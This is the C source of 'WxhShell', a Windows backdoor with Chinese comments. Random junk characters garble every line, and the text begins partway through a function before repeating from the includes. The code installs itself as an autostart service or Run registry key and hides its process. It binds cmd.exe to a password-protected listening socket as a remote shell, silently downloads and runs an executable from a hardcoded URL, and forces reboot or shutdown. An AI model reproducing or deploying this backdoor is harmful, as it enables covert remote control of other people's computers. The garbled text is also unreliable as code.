    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x C>>K6Nb  
    else { C2 !F   
    closesocket(wsh); `[f IK,  
    ExitThread(0); -n$hm+S  
    } 7q^a@5f BG  
    break; xSjs+Y;Mu  
    } sQY0Xys<4  
  // 获取shell Bq \WG=Fd  
  case 's': { 8GT{vW9  
    CmdShell(wsh); 7I6& *I  
    closesocket(wsh); pkA(\0E8  
    ExitThread(0); B|BJkY'  
    break; 4f,%@s)zn  
  } MCfDR#a  
  // 退出 O@KAh5EB  
  case 'x': { A Rjox`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IAbH_+7O  
    CloseIt(wsh); sVIw'W  
    break; }j#c#''i  
    } qIgb;=V  
  // 离开 UrB {jS?  
  case 'q': { ob=IaZ@?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I[v~nY~l`  
    closesocket(wsh); l8!n!sC[,  
    WSACleanup(); %XWb|-=  
    exit(1); EF'U`\gX  
    break; ]P(_ d'}  
        } sMb+4{W&6  
  } ]3yaIlpD1  
  } >K;C?gHo  
ljj}X JQ  
  // 提示信息 <F5x}i~(C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  qr7_3  
} ;KW}F|  
  } Z <tJ+  
kR(hUc1O  
  return; \Ot,&Z k2  
} >PiEu->P,  
B976{;QvXV  
// shell模块句柄 (K->5rSU  
int CmdShell(SOCKET sock) &r !*Y&  
{ @{UtS2L  
STARTUPINFO si; Gcu?xG{  
ZeroMemory(&si,sizeof(si)); ^0&   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FFqqAT5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @Vac!A??:  
PROCESS_INFORMATION ProcessInfo; L(eLxw e%  
char cmdline[]="cmd"; @phb5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); veh?oJi@  
  return 0; `G^MTDp?L+  
} _kT$/k  
V,)bw  
// 自身启动模式 F2RU7o'f.  
int StartFromService(void) r@Tq-o  
{ J(\f(jh/  
typedef struct .#y.:Pb|e  
{ F%pYnHr<  
  DWORD ExitStatus; bjEm=4FI;  
  DWORD PebBaseAddress; 9.qjEe  
  DWORD AffinityMask; }_L,Xg:I  
  DWORD BasePriority; #Y;_W;#  
  ULONG UniqueProcessId; VdV18-ea  
  ULONG InheritedFromUniqueProcessId; nv^nq]4'Dq  
}   PROCESS_BASIC_INFORMATION; h"{Z%XPX#  
B'Ll\<mq@  
PROCNTQSIP NtQueryInformationProcess; P Yp<eo\  
kG>d^K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O_jf)N\pi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %;|^*?!J0  
4<`'?  
  HANDLE             hProcess; 3-5X^!C  
  PROCESS_BASIC_INFORMATION pbi; VMZ"i1rP  
-mlBr63Bj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S~mpXH@  
  if(NULL == hInst ) return 0; & A%*sD6  
b+.P4+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~;A36M-[.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l |c#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3~7X2}qU  
&nk[gb o\  
  if (!NtQueryInformationProcess) return 0; U!rhj&n  
IOx9".  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GDgq 4vfj  
  if(!hProcess) return 0; hqA6%Y^k  
k%5 o5Hx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i,DnXgmz@  
ep- ~;?  
  CloseHandle(hProcess); YM*{^BXp  
 *TEgV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U&uop$/Cq  
if(hProcess==NULL) return 0; f?OFMac  
-Q6njt&  
HMODULE hMod; zCZ]`  
char procName[255]; )c:i 'L  
unsigned long cbNeeded; f,'gQ5\ X3  
zoUM<6q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); df=G}M(  
mT@8(  
  CloseHandle(hProcess); dy^Zlu` f  
M PhG:^g  
if(strstr(procName,"services")) return 1; // 以服务启动 WQ(*A $  
<g SZt\  
  return 0; // 注册表启动 |2#)lGA  
} UQmdm$.  
)*=ds ,  
// 主模块 :`~;~gW<  
int StartWxhshell(LPSTR lpCmdLine) Sz.sX w;  
{ 2UPqn#.3  
  SOCKET wsl; s}NE[Tw  
BOOL val=TRUE; "enGWI H  
  int port=0; 1'O++j_%y  
  struct sockaddr_in door; 8J}gj7^8  
x]~{#pH@<  
  if(wscfg.ws_autoins) Install(); v##k,R.d  
VM 3~W  
port=atoi(lpCmdLine); ){u/v[O9"  
z+RA  
if(port<=0) port=wscfg.ws_port; +HGPn0As  
IQ$cLr-S  
  WSADATA data; A2fc_A/a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lr>P/W\  
'&XL|_Iq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f-lM[\ma_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pz+2(Z  
  door.sin_family = AF_INET; Q{s9{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `Bw>0%.  
  door.sin_port = htons(port); R^DZ@[\iV  
qD@]FEw!O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !p&[:+qN  
closesocket(wsl); S}@J4}*u["  
return 1; 2pKkg>/S  
} 7Nu.2qE  
,".1![b  
  if(listen(wsl,2) == INVALID_SOCKET) { ] LcCom:]  
closesocket(wsl); U`G  
return 1; fi |k)  
} 4^3}+cJ7j  
  Wxhshell(wsl); S.u1[Yz^  
  WSACleanup(); Bri yy  
t)!(s,;T  
return 0; qK_jgj=w  
>s 5i  
} {`-f<>N3  
v[++"=< o8  
// 以NT服务方式启动 .paKV"LJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RgB5'$x}  
{ 8-s7^*!  
DWORD   status = 0; jN[P$} #b`  
  DWORD   specificError = 0xfffffff; U ]o  
-a=RCzX]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I34|<3t$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QfdATK P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e-Pn,j  
  serviceStatus.dwWin32ExitCode     = 0; xF/u('A  
  serviceStatus.dwServiceSpecificExitCode = 0; 5_H`6-q  
  serviceStatus.dwCheckPoint       = 0; >cTSX  
  serviceStatus.dwWaitHint       = 0; yi29+T7j4S  
3A`|$So  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jTeHI|b  
  if (hServiceStatusHandle==0) return; (dH "b *  
bgk+PQ#S-  
status = GetLastError(); efT@A}sV  
  if (status!=NO_ERROR) MWl2;qi  
{ *F^t)K2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZC99/NWN  
    serviceStatus.dwCheckPoint       = 0; SsY :gp_  
    serviceStatus.dwWaitHint       = 0; q6]T;)U&  
    serviceStatus.dwWin32ExitCode     = status; !l(O$T9 T  
    serviceStatus.dwServiceSpecificExitCode = specificError; M:5K4$>Kx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nT:F{2 M;  
    return; -/g<A~+i]$  
  } hy]8t1894  
k#oe:u`<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y\ C"3+I  
  serviceStatus.dwCheckPoint       = 0; T4JG5  
  serviceStatus.dwWaitHint       = 0; +{r~-Rn3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (i1q".  
} pXhN?joe  
p=d,kY  
// 处理NT服务事件,比如:启动、停止 <Od5}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L!c.1Rf_  
{ 2{6%+>jB  
switch(fdwControl) !r#36kO  
{ .gJv})Vi  
case SERVICE_CONTROL_STOP: SR$?pJh D%  
  serviceStatus.dwWin32ExitCode = 0; $ dR@Q?_{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e#<A\?  
  serviceStatus.dwCheckPoint   = 0; ul&}'jBr  
  serviceStatus.dwWaitHint     = 0; kZK1{  
  { )4;$;a1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?X'l&k>  
  } ']:>Ww.S  
  return; ;39~G T  
case SERVICE_CONTROL_PAUSE: GTocN1,Z~a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,GY K3+}Z  
  break; -\[&<o@/D  
case SERVICE_CONTROL_CONTINUE: ?~9o2[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 9s%   
  break; <Em|0hth  
case SERVICE_CONTROL_INTERROGATE: 5@nv cCp  
  break; ,R7RXpP7t  
}; wu;^fL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [+wLy3_  
} 3| F\a|N  
EG J/r  
// 标准应用程序主函数 p1']+4r%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y(yBRR  
{ IWT -)+  
We@wN:  
// 获取操作系统版本 )5ev4Qf  
OsIsNt=GetOsVer();  +wE>h>?;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C[[:/X(c  
-uhg7N[3  
  // 从命令行安装 {q/D,Rh8  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,D93A  
O6b.oS '-  
  // 下载执行文件 9)S,c =z83  
if(wscfg.ws_downexe) { bI:cYn1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /MbWS(RT  
  WinExec(wscfg.ws_filenam,SW_HIDE); K[[ 5H  
} t/c)[l hV  
zC WN,K`  
if(!OsIsNt) { -"x25~k!?F  
// 如果时win9x,隐藏进程并且设置为注册表启动  <xwaFZ  
HideProc(); hOr4C4  
StartWxhshell(lpCmdLine); 2T-3rC)  
} a!mdL|eA@  
else r~;TId} #  
  if(StartFromService()) uE&2M>2  
  // 以服务方式启动 43/!pW  
  StartServiceCtrlDispatcher(DispatchTable); SAUG+{Uq  
else 4@"n7/<  
  // 普通方式启动 m$A-'*'  
  StartWxhshell(lpCmdLine); M*<Bp   
Q_FL8w9D~8  
return 0; ? W2W y\  
} -3Auo0  
Wf9K+my  
--g? `4  
Nq ZR*/BOz  
=========================================== ez^b{s`  
cB2jf</  
K&%YTA  
r]O8|#P,Z$  
br7_P1ep  
gpe-)hD@R  
" S0mF %"  
nISfRXU;  
#include <stdio.h> 0?\d%J!"S  
#include <string.h> =f-.aq(G/  
#include <windows.h> g TqtTd~L  
#include <winsock2.h> uJ>_ 2  
#include <winsvc.h> z9P;HGuZ  
#include <urlmon.h> etLA F  
=U<6TP]{  
#pragma comment (lib, "Ws2_32.lib") Zmr*$,v<y  
#pragma comment (lib, "urlmon.lib") 2ZZF hj  
Vv5#{+eT;  
#define MAX_USER   100 // 最大客户端连接数 bhc .UmH  
#define BUF_SOCK   200 // sock buffer 1 Ll<^P  
#define KEY_BUFF   255 // 输入 buffer +]NPxUa  
AHtLkfr(r  
#define REBOOT     0   // 重启 qaN%&K9F8  
#define SHUTDOWN   1   // 关机 z\Y-8a.]  
4e5 5  
#define DEF_PORT   5000 // 监听端口 0G"I}Jp{  
_b1w<T `  
#define REG_LEN     16   // 注册表键长度 VLfE3i4Vwl  
#define SVC_LEN     80   // NT服务名长度 @Zd/>'  
Dt p\ T|)  
// 从dll定义API Lv`NS+fX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,6FmU$ Kn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^9PB+mz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )./'`Mx?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @x z?^20N  
_N&]w*ce  
// wxhshell配置信息 !O~5<tA[#1  
struct WSCFG { 0/Wo":R:  
  int ws_port;         // 监听端口 4,pSC  
  char ws_passstr[REG_LEN]; // 口令 t/9,JG  
  int ws_autoins;       // 安装标记, 1=yes 0=no PgYq=|]`  
  char ws_regname[REG_LEN]; // 注册表键名 (e$/@3*  
  char ws_svcname[REG_LEN]; // 服务名 @hE$x-TP0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h#iFp9N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BXf.^s{H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NFQR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (}C%g{8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0^PI&7A?y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :jp4 !0w  
+o\s |G|l  
};  Py)'%e  
)~X*&(7RR}  
// default Wxhshell configuration =<M7t*!  
struct WSCFG wscfg={DEF_PORT, 8v)PDO~D}A  
    "xuhuanlingzhe", :RnFRAcr  
    1, K&WNtk3hT  
    "Wxhshell", mfNYN4Um6  
    "Wxhshell", H' [#x2  
            "WxhShell Service", +I+7@XiZ  
    "Wrsky Windows CmdShell Service", @fH?y Z=>  
    "Please Input Your Password: ", h*qoe(+ZD  
  1, -O ro$=%  
  "http://www.wrsky.com/wxhshell.exe", !%x=o&  
  "Wxhshell.exe" e8TJ =}\  
    }; f;(]P  
79>8tOuo  
// 消息定义模块 +=y ktf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;b""N,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +P~E54  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 90pk  
char *msg_ws_ext="\n\rExit."; OudD1( )W  
char *msg_ws_end="\n\rQuit."; h%Nbx:vKk  
char *msg_ws_boot="\n\rReboot..."; hal3J  
char *msg_ws_poff="\n\rShutdown..."; S:UtmS+K  
char *msg_ws_down="\n\rSave to "; XMM@EN  
nx(O]R,Sw  
char *msg_ws_err="\n\rErr!"; \@kY2,I V  
char *msg_ws_ok="\n\rOK!"; 5O9Oi:-!c  
a/.O, &3  
char ExeFile[MAX_PATH]; uW&P1 'X  
int nUser = 0; x0])&':!  
HANDLE handles[MAX_USER]; Sdc;jK 9d!  
int OsIsNt; {.We%{4V  
7/;Xt&  
SERVICE_STATUS       serviceStatus; &/7AW(?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '\:?FQ C  
4"e7 43(  
// 函数声明 3ySP*J5  
int Install(void);  ##7,  
int Uninstall(void); Pl=X<Bp  
int DownloadFile(char *sURL, SOCKET wsh); Dg_/Iu>OAE  
int Boot(int flag); 1anV!&a<K(  
void HideProc(void); n>X  
int GetOsVer(void); %S22[;v{N  
int Wxhshell(SOCKET wsl); z(^p@&r)F  
void TalkWithClient(void *cs); |WeLmy%9  
int CmdShell(SOCKET sock); {y|y68y0+  
int StartFromService(void); #(@dN+  
int StartWxhshell(LPSTR lpCmdLine); +fzZ\  
5|:=#Ql*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5I{YsM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _OTkv6;4n  
uH]n/Kv1,  
// 数据结构和表定义 &adKKYN  
SERVICE_TABLE_ENTRY DispatchTable[] = u~?]/-.TY  
{ dL")E|\\k  
{wscfg.ws_svcname, NTServiceMain}, Hu x#v>e  
{NULL, NULL} bt#=p 7 W  
}; 3Nw9o6`U  
qO>BF/)a(  
// 自我安装 lN1T\  
int Install(void) [HIg\N$I8C  
{ Cs%'Af  
  char svExeFile[MAX_PATH]; [kz<2P  
  HKEY key; yA(H=L-=!1  
  strcpy(svExeFile,ExeFile); Jx_ OT C  
@8 @cpm  
// 如果是win9x系统,修改注册表设为自启动 QsI>_<r  
if(!OsIsNt) { ,[+gE\z{{u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (a`z:dz}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SL:o.g(>4  
  RegCloseKey(key); XXmtpM8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ux VXnQQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y cO tPS%  
  RegCloseKey(key); Cb.~Dv !  
  return 0; u&bo32fc  
    } ]=q?= %H  
  } e|AJxn]  
} CbS9fc&  
else { ~b8U#'KD  
r6 ,5&`&  
// 如果是NT以上系统,安装为系统服务 `6 lc]r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uh?SDay  
if (schSCManager!=0) =wU08}  
{ yZ6560(q  
  SC_HANDLE schService = CreateService hRxR2  
  ( 4\ H;A  
  schSCManager, R S;r  
  wscfg.ws_svcname, 3HFsR)  
  wscfg.ws_svcdisp, 7qgHH p  
  SERVICE_ALL_ACCESS, Jan73AOX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , : B$ d  
  SERVICE_AUTO_START, 6/.-V1*O  
  SERVICE_ERROR_NORMAL, io$AGi  
  svExeFile, =<iK3bPkU  
  NULL, WJ=eV8Uk  
  NULL, cm6cW(x6  
  NULL, z~L(kf4  
  NULL, RBwI*~%g{  
  NULL ~F+{P4%`<  
  ); e6QUe.S  
  if (schService!=0) @lDoMm,m'  
  { 29 Yg>R!/  
  CloseServiceHandle(schService); K\5@yqy5  
  CloseServiceHandle(schSCManager); w2YfFtgD,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *Jmy:C<>  
  strcat(svExeFile,wscfg.ws_svcname); tO)mKN+ (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EUu"H` E+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a~9U{)@F  
  RegCloseKey(key); /F4rbL^:  
  return 0; %'%ej^s-R  
    } b Zn:q[7  
  } 7^ITedW@  
  CloseServiceHandle(schSCManager); O!\P]W4r$  
} ZXFM_>y 5  
} ;Bat!K7W  
tUDOL-Tv  
return 1; m5v9:5{  
} V; Yl:*  
Gvb>M=9  
// 自我卸载 ?76Wg::  
int Uninstall(void) =%%\b_\L  
{ Tu?+pz`h  
  HKEY key; P|!GXkS  
X2}\i5{  
if(!OsIsNt) { ~>VEg3#F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [V|,O'X ~  
  RegDeleteValue(key,wscfg.ws_regname); _[<R<&jG  
  RegCloseKey(key); JN .\{ Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vl%AN;o  
  RegDeleteValue(key,wscfg.ws_regname); rr>QG<i;G  
  RegCloseKey(key); w4Qqo(  
  return 0; -icOg6%  
  } j6%X  
} 9%S{fd\#  
} : ^F+m QN  
else { n (7m  
w},' 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # =V%S 2~  
if (schSCManager!=0) lM86 *g 'l  
{ :9Zu&t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 11glFe  
  if (schService!=0) SpPG  
  { zl F*F8>m  
  if(DeleteService(schService)!=0) { |5 _bFB+&  
  CloseServiceHandle(schService); 7F5 t&  
  CloseServiceHandle(schSCManager); 7!+kyA\}r^  
  return 0; D9zw' R Y  
  } )xX(Et6+`  
  CloseServiceHandle(schService); 5cO}Jp%PA  
  } #4%4iR5%  
  CloseServiceHandle(schSCManager); K QXw~g?  
} BF@(`D&>  
} \HLI y  
A%> Ir`I  
return 1; LTj;e[  
} ]:i :QiYD  
S+3'C  
// 从指定url下载文件 hLPg=8nJ_  
int DownloadFile(char *sURL, SOCKET wsh) )A:2y +  
{ /ZqBO*]  
  HRESULT hr; iDt^4=`  
char seps[]= "/"; DeE-M"  
char *token; `2c>M\c4U  
char *file; Qj5~ lX`W  
char myURL[MAX_PATH]; eZ5UR014  
char myFILE[MAX_PATH]; |-4C[5rM  
Xt~`EN  
strcpy(myURL,sURL); lE:X~RO"~  
  token=strtok(myURL,seps); %ANo^~8  
  while(token!=NULL) M[$(Pu  
  { #c@Dn.W  
    file=token; ^8$CpAK]M  
  token=strtok(NULL,seps); RmxgCe(2a  
  } @/*{8UBP  
9PjL 4A  
GetCurrentDirectory(MAX_PATH,myFILE); OLUQjvnU  
strcat(myFILE, "\\"); +]uW|owxo  
strcat(myFILE, file); jK/2n}q&]  
  send(wsh,myFILE,strlen(myFILE),0); wNL!T6"G  
send(wsh,"...",3,0); 0Ge*\Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :bI4HXT3  
  if(hr==S_OK) 3#huC=zbf  
return 0; =MDir$1Z  
else c[E{9wp v  
return 1; ' Bb]< L`  
,Q4U<`ds!  
} $ r|R`n=  
;l> xXSB7$  
// 系统电源模块 ]'V8{l  
int Boot(int flag) W/ZmG]sZE  
{ Be}e%Rk  
  HANDLE hToken; . +> w0FG.  
  TOKEN_PRIVILEGES tkp; )hm U/E@  
fpf1^ TZ  
  if(OsIsNt) { E@TX>M-&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I\DmVc\l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y[[f?rxz>  
    tkp.PrivilegeCount = 1; _ _cJ+%e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,!t1( H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4"1OtBU3  
if(flag==REBOOT) { mj5$ 2J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 16/+ O$#y  
  return 0; 2A|^6#XN'  
} 5r"BavA  
else { !t "uNlN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1)(p=<$  
  return 0; P`6 T;|VDk  
} 9XWF&6w6yf  
  } o_&.R  
  else { J7$1+|"  
if(flag==REBOOT) { 5 EDHJU>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }'$6EgX  
  return 0; {:m5<6?x)  
} uA=6 HpDB  
else { 2+" =i/8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nP?=uGqCBq  
  return 0; }l$M%Ps!a  
} 9\3%5B7  
} Ug^C}".&  
;OQ-T+(T  
return 1; lz\{ X  
} heoOOP(#  
SdC505m0*  
// win9x进程隐藏模块 8~RUYsg  
void HideProc(void) I=D{(%+^d  
{ /k<*!H]KSg  
"F>-W \%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ehCc N4V(  
  if ( hKernel != NULL ) X +;Q=  
  { RBr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z/ T|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U@yrqT@;AU  
    FreeLibrary(hKernel); 0K>rc1dy  
  } Dn$zwksSs  
[UNfft=K3P  
return; deaxb8'7  
} !Y=s_)X  
i051qpj  
// 获取操作系统版本 :d/Z&LXD  
int GetOsVer(void) OTtSMO  
{ "V~U{(Z  
  OSVERSIONINFO winfo; 7qon:]b4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,8o]XFOr  
  GetVersionEx(&winfo); meR%);\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W#e:rz8=  
  return 1; [=e61Z  
  else ^]'p927  
  return 0; `h$6MFC/g  
} R-`{W:S  
( NjX?^  
// 客户端句柄模块 j='Ne5X1  
int Wxhshell(SOCKET wsl) %'\D _W&  
{ {eIE|   
  SOCKET wsh; qfC9 {gu  
  struct sockaddr_in client; Y+upZ@Ga  
  DWORD myID; dyWWgC%A  
,~K_rNNZ  
  while(nUser<MAX_USER) ;oh88,*'  
{ wgLS9.  
  int nSize=sizeof(client); :KX/`   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dq:M!F  
  if(wsh==INVALID_SOCKET) return 1; +hjc~|RK  
&o4L;A#&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5 1 x^gX|  
if(handles[nUser]==0) +6gS]  
  closesocket(wsh); H _3gVrP_  
else I_pA)P*Q(6  
  nUser++; < ]wN/B-8J  
  } lS?f?n^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /f%u_ 8pV%  
y9s5{\H  
  return 0; zztW7MG2lQ  
} =[1 W.Zt  
~PlwPvWo  
// 关闭 socket rEAPlO.Yp  
void CloseIt(SOCKET wsh) J8b]*2D  
{ oR-_=U^  
closesocket(wsh); , R^Pk6m>  
nUser--; Ccc6 ko_  
ExitThread(0); ^f`#8G7(  
} cz T@txF  
yaX,s 4p  
// 客户端请求句柄 ww\/$ |  
void TalkWithClient(void *cs) n53} 79Uiz  
{ 'HqAm$V+  
s?`)[K'-  
  SOCKET wsh=(SOCKET)cs; (nE$};c<b2  
  char pwd[SVC_LEN]; eM9~&{m.  
  char cmd[KEY_BUFF]; fi?[ e?|c@  
char chr[1]; U-lN_?  
int i,j; *Lh0E/5  
kb%W3c9HO  
  while (nUser < MAX_USER) { ^mz_T+UOe  
Z].>U!7W  
if(wscfg.ws_passstr) { 9CN / v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N %?o-IY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -d[x 09  
  //ZeroMemory(pwd,KEY_BUFF); V)a6H^l  
      i=0; DI&xTe9k  
  while(i<SVC_LEN) { VJ$C)0xQA  
C$(t`G  
  // 设置超时 )0GnTB;5Z  
  fd_set FdRead; t TmFJ5  
  struct timeval TimeOut; +2?0]6EQ  
  FD_ZERO(&FdRead); .(Pe1pe  
  FD_SET(wsh,&FdRead); -p;o e}|  
  TimeOut.tv_sec=8; HOUyB's'  
  TimeOut.tv_usec=0; Y"lxh/l$}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Ji?p>\~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TY#1Z )%  
IB?A]oN1{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B!N807  
  pwd=chr[0]; L;f=\q"g  
  if(chr[0]==0xd || chr[0]==0xa) { 7<tqT @c  
  pwd=0; #k"[TCQ>  
  break; -w2g a1  
  } JZv]tJWq  
  i++; <.' cCY  
    } s<dD>SU  
P0Jd6"sS"  
  // 如果是非法用户,关闭 socket Xo*$|9[.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dyp] y$  
} q-o>yjT~  
w|Mj8Lc+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Efl|lV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ljis3{kn""  
n=SZ8Rj7  
while(1) { f|G7L5-  
N1Z8I:  
  ZeroMemory(cmd,KEY_BUFF); j(BS;J$i  
X@Bpjg  
      // 自动支持客户端 telnet标准   UxvsSHi  
  j=0; c@^:tB  
  while(j<KEY_BUFF) { 2at?9{b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *~cs8<.!1  
  cmd[j]=chr[0]; Q)@1:(V/  
  if(chr[0]==0xa || chr[0]==0xd) { ?.A|Fy^  
  cmd[j]=0; StDmJ]  
  break; /SKr.S61e  
  } ]p*) PpIl  
  j++; u20b+c4  
    } mce`1Tjw  
7qUtsDK  
  // 下载文件 PJYA5"}W  
  if(strstr(cmd,"http://")) { g Oj5c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,SM- Z`'  
  if(DownloadFile(cmd,wsh)) 5>@uEebkv]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >YBpB,WND  
  else QO7:iSZJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tN{t-xUgk  
  } :|M/+XPu  
  else { huoKr  
/8MQqZ C  
    switch(cmd[0]) { W^ :/0WR  
  c9 uT`h  
